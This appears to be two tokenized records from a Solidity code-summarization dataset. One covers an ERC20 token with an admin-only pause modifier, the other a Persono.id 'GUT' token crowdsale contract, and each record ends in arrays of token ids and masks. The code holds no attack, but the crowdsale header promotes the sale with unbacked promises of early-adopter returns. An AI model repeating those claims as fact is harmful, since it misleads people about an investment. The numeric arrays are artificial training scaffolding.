name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) notPaused internal virtual { } }
* @dev checks to ensure the contract is not paused only the admin can execute methods when the contract is paused or when the contract has exited to community/
modifier notPaused { require(msg.sender == _admin || _paused == false, "transfer is paused"); _; }
1,576,558
[ 1, 12366, 358, 3387, 326, 6835, 353, 486, 17781, 1338, 326, 3981, 848, 1836, 2590, 1347, 326, 6835, 353, 17781, 578, 1347, 326, 6835, 711, 21590, 358, 19833, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 486, 28590, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 389, 3666, 747, 389, 8774, 3668, 422, 629, 16, 315, 13866, 353, 17781, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * PERSONO.ID is WEB 3.0 cornerstone. * Human first. UBI out of the box. Inevitable. * This contract is a crowdsale of transitional GUT tokens for ETH. * Join early. Don't miss the rise of the great, and impressive bounties. * Open site() at GUT token address 0xbA01AfF9EF5198B5e691D2ac61E3cC126F25491d **/ pragma solidity ^0.4.24; /** * @title ERC20 interface */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @notice The full implementation is in the token. Here it is just for correct compilation. */ contract ERC20 is IERC20 { /** * @dev Internal ERC20 token function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal; } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private minters; constructor() internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { minters.remove(account); emit MinterRemoved(account); } } /** * @title ERC20Mintable * @dev ERC20 minting logic. Shortened. Full contract is in the GutTCO.token() contract. */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address to, uint256 value ) public onlyMinter returns (bool) { _mint(to, value); return true; } } /** * @title SafeERC20 * @notice Shortened Wrappers around ERC20 operations that throw on failure. */ library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } } /** * @title Helps contracts guard against reentrancy attacks. * @author Remco Bloemen <remco@2π.com>, Eenae <alexey@mixbytes.io> * @dev If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor() internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @notice Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } /** * @title Crowdsale * @notice Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and is extended by other contracts here to provide additional * functionality and custom behavior. */ contract Crowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The token being sold IERC20 private _token; // Address where funds are collected address private _wallet; // How many token units a buyer would get per wei. // Usually is the conversion between wei and the smallest and indivisible token unit. // Overridden by IcreasingPriceTCO contract logic. uint256 private _rate; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param rate Number of token units a buyer gets per wei * @dev The rate is the conversion between wei and the smallest and indivisible * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor(uint256 rate, address wallet, IERC20 token) internal { require(rate > 0); require(wallet != address(0)); require(token != address(0)); _rate = rate; _wallet = wallet; _token = token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer fund with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ function () external payable { buyTokens(msg.sender); } /** * @return the token being sold. */ function token() public view returns(IERC20) { return _token; } /** * @return the address where funds are collected. */ function wallet() public view returns(address) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate() public view returns(uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * This function has a non-reentrancy guard, so it shouldn't be called by * another `nonReentrant` function. * @param beneficiary Recipient of the token purchase */ function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased( msg.sender, beneficiary, weiAmount, tokens ); _updatePurchasingState(beneficiary, weiAmount); //check and manage current exchange rate and hard cap _forwardFunds(); //save funds to a Persono.id Foundation address _postValidatePurchase(beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address beneficiary, uint256 weiAmount ) internal view { require(beneficiary != address(0)); require(weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address beneficiary, uint256 weiAmount ) internal view { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens( address beneficiary, uint256 tokenAmount ) internal { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase( address beneficiary, uint256 tokenAmount ) internal { _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address beneficiary, uint256 weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { _wallet.transfer(msg.value); } } /** * @title IncreasingPriceTCO * @notice Extension of Crowdsale contract that increases the price of tokens according to price ranges. * Early adopters get up to 24 times more benefits. */ contract IncreasingPriceTCO is Crowdsale { using SafeMath for uint256; uint256[2][] private _rates; //_rates[i][0] - upper limit of total weiRaised to apply _rates[i][1] exchange rate at the uint8 private _currentRateIndex; // Index of the current rate: _rates[_currentIndex][1] is the current rate index event NewRateIsSet( uint8 rateIndex, uint256 exRate, uint256 weiRaisedRange, uint256 weiRaised ); /** * @param initRates Is an array of pairs [weiRaised, exchangeRate]. Deteremine the exchange rate depending on the total wei raised before the transaction. */ constructor(uint256[2][] memory initRates) internal { require(initRates.length > 1, 'Rates array should contain more then one value'); _rates = initRates; _currentRateIndex = 0; } function getCurrentRate() public view returns(uint256) { return _rates[_currentRateIndex][1]; } modifier ifExRateNeedsUpdate { if(weiRaised() >= _rates[_currentRateIndex][0] && _currentRateIndex < _rates.length - 1) _; } /** * @notice The new exchange rate is set if total weiRased() exceeds the current exchange rate range */ function _updateCurrentRate() internal ifExRateNeedsUpdate { uint256 _weiRaised = weiRaised(); _currentRateIndex++; //the modifier ifExRateNeedsUpdate means the exchange rate is changed, so we move to the next range right away while(_currentRateIndex < _rates.length - 1 && _rates[_currentRateIndex][0] <= _weiRaised) { _currentRateIndex++; } emit NewRateIsSet(_currentRateIndex, //new exchange rate index _rates[_currentRateIndex][1], //new exchange rate _rates[_currentRateIndex][0], //new exchange rate _weiRaised limit _weiRaised); //amount of _weiRaised by the moment the new exchange rate is applied } /** * @notice The base rate function is overridden to revert, since this crowdsale doens't use it, and * all calls to it are a mistake. */ function rate() public view returns(uint256) { revert(); } /** * @notice Overrides function applying multiple increasing price exchange rates concept */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return getCurrentRate().mul(weiAmount); } /** * @notice Overrides a "hook" from the base Crowdsale contract. Checks and updates the current exchange rate. */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { _updateCurrentRate(); } } contract KeeperRole { using Roles for Roles.Role; event KeeperAdded(address indexed account); event KeeperRemoved(address indexed account); Roles.Role private keepers; constructor() internal { _addKeeper(msg.sender); } modifier onlyKeeper() { require(isKeeper(msg.sender), 'Only Keeper is allowed'); _; } function isKeeper(address account) public view returns (bool) { return keepers.has(account); } function addKeeper(address account) public onlyKeeper { _addKeeper(account); } function renounceKeeper() public { _removeKeeper(msg.sender); } function _addKeeper(address account) internal { keepers.add(account); emit KeeperAdded(account); } function _removeKeeper(address account) internal { keepers.remove(account); emit KeeperRemoved(account); } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private pausers; constructor() internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { pausers.remove(account); emit PauserRemoved(account); } } /** * @title Haltable * @dev Base contract which allows children to implement an emergency pause mechanism * and close irreversibly */ contract Haltable is KeeperRole, PauserRole { event Paused(address account); event Unpaused(address account); event Closed(address account); bool private _paused; bool private _closed; constructor() internal { _paused = false; _closed = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns(bool) { return _paused; } /** * @return true if the contract is closed, false otherwise. */ function isClosed() public view returns(bool) { return _closed; } /** * @return true if the contract is not closed, false otherwise. */ function notClosed() public view returns(bool) { return !_closed; } /** * @notice Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, 'The contract is paused'); _; } /** * @notice Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, 'The contract is not paused'); _; } /** * @dev Modifier to make a function callable only when the contract is closed. */ modifier whenClosed(bool orCondition) { require(_closed, 'The contract is not closed'); _; } /** * @dev Modifier to make a function callable only when the contract is closed or an external condition is met. */ modifier whenClosedOr(bool orCondition) { require(_closed || orCondition, "It must be closed or what is set in 'orCondition'"); _; } /** * @dev Modifier to make a function callable only when the contract is not closed. */ modifier whenNotClosed() { require(!_closed, "Reverted because it is closed"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } /** * @dev Called by a Keeper to close a contract. This is irreversible. */ function close() internal whenNotClosed { _closed = true; emit Closed(msg.sender); } } /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedTCO is Crowdsale { using SafeMath for uint256; uint256 private _cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param cap Max amount of wei to be contributed */ constructor(uint256 cap) internal { require(cap > 0, 'Hard cap must be > 0'); _cap = cap; } /** * @return the cap of the crowdsale. */ function cap() public view returns(uint256) { return _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was not reached */ function capNotReached() public view returns (bool) { return weiRaised() < _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised() >= _cap; } } /** * @title PostDeliveryCappedCrowdsale * @notice Hardcapped crowdsale with the gained tokens locked from withdrawal until the crowdsale ends. */ contract PostDeliveryCappedTCO is CappedTCO, Haltable { using SafeMath for uint256; mapping(address => uint256) private _balances; //token balances storage until the crowdsale ends uint256 private _totalSupply; //total GUT distributed amount event TokensWithdrawn( address indexed beneficiary, uint256 amount ); constructor() internal {} /** * @notice Withdraw tokens only after the crowdsale ends (closed). * @param beneficiary is an address whose tokens will be withdrawn. Allows to use a separate address * @notice Withdrawal is suspended in case the crowdsale is paused. */ function withdrawTokensFrom(address beneficiary) public whenNotPaused whenClosedOr(capReached()) { uint256 amount = _balances[beneficiary]; require(amount > 0, 'The balance should be positive for withdrawal. Please check the balance in the token contract.'); _balances[beneficiary] = 0; _deliverTokens(beneficiary, amount); emit TokensWithdrawn(beneficiary, amount); } /** * @notice If calling this function (wothdrawing) from a contract, use withdrawTokensFrom(address beneficiary) * Check that crowdsale is finished: GutTCO.isClosed() == true before running this function (withdrawing tokens). */ function withdrawTokens() public { withdrawTokensFrom(address(msg.sender)); } /** * @notice Total amount of tokens supplied */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @return the balance of an account. */ function balanceOf(address account) public view returns(uint256) { return _balances[account]; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase( address beneficiary, uint256 weiAmount ) internal view { require(capNotReached(),"Hardcap is reached."); require(notClosed(), "TCO is finished, sorry."); super._preValidatePurchase(beneficiary, weiAmount); } /** * @dev Overrides parent by storing balances instead of issuing tokens right away * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _processPurchase( address beneficiary, uint256 tokenAmount ) internal { _balances[beneficiary] = _balances[beneficiary].add(tokenAmount); _totalSupply = _totalSupply.add(tokenAmount); } } /** * @notice If you transfer funds (ETH) from a contract, the default gas stipend 2300 will not be enough * to complete transaction to your contract address. Please, consider calling buyTokens() directly when * purchasing tokens from a contract. */ contract GutTCO is PostDeliveryCappedTCO, IncreasingPriceTCO, MinterRole { bool private _finalized; event CrowdsaleFinalized(); constructor( uint256 _rate, address _wallet, uint256 _cap, ERC20Mintable _token ) public Crowdsale(_rate, _wallet, _token) CappedTCO(_cap) IncreasingPriceTCO(initRates()) { _finalized = false; } /** * @notice Initializes exchange rates ranges. */ function initRates() internal pure returns(uint256[2][] memory ratesArray) { ratesArray = new uint256[2][](4); ratesArray[0] = [uint256(100000 ether), 3000]; //first 100000 ether are given 3000 GUT each ratesArray[1] = [uint256(300000 ether), 1500]; //next 200000 (up to 300000) ether are exchanged at 1500 GUT/ether ratesArray[2] = [uint256(700000 ether), 500]; //next 400000 ether will go to Persono.id Foundation at 500 GUT/ether ratesArray[3] = [uint256(1500000 ether), 125]; //the rest 800000 ether are exchanged at 125 GUT/ether } function closeTCO() public onlyMinter { if(notFinalized()) _finalize(); } /** * @return true if the crowdsale is finalized, false otherwise. */ function finalized() public view returns (bool) { return _finalized; } /** * @return true if the crowdsale is finalized, false otherwise. */ function notFinalized() public view returns (bool) { return !finalized(); } /** * @notice Is called after TCO finished to close() TCO and transfer (mint) supplied tokens to the token's contract. */ function _finalize() private { require(notFinalized(), 'TCO already finalized'); if(notClosed()) close(); _finalization(); emit CrowdsaleFinalized(); } function _finalization() private { if(totalSupply() > 0) require(ERC20Mintable(address(token())).mint(address(this), totalSupply()), 'Error when being finalized at minting totalSupply() to the token'); _finalized = true; } /** * @notice Overrides IncreasingPriceTCO. Auto finalize TCO when the cap is reached. */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { super._updatePurchasingState(beneficiary, weiAmount); if(capReached()) _finalize(); } }
* @notice Overrides function applying multiple increasing price exchange rates concept/
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return getCurrentRate().mul(weiAmount); }
980,105
[ 1, 13084, 445, 13650, 3229, 21006, 6205, 7829, 17544, 12402, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 588, 1345, 6275, 12, 11890, 5034, 732, 77, 6275, 13, 203, 565, 2713, 1476, 1135, 261, 11890, 5034, 13, 203, 225, 288, 203, 565, 327, 5175, 4727, 7675, 16411, 12, 1814, 77, 6275, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
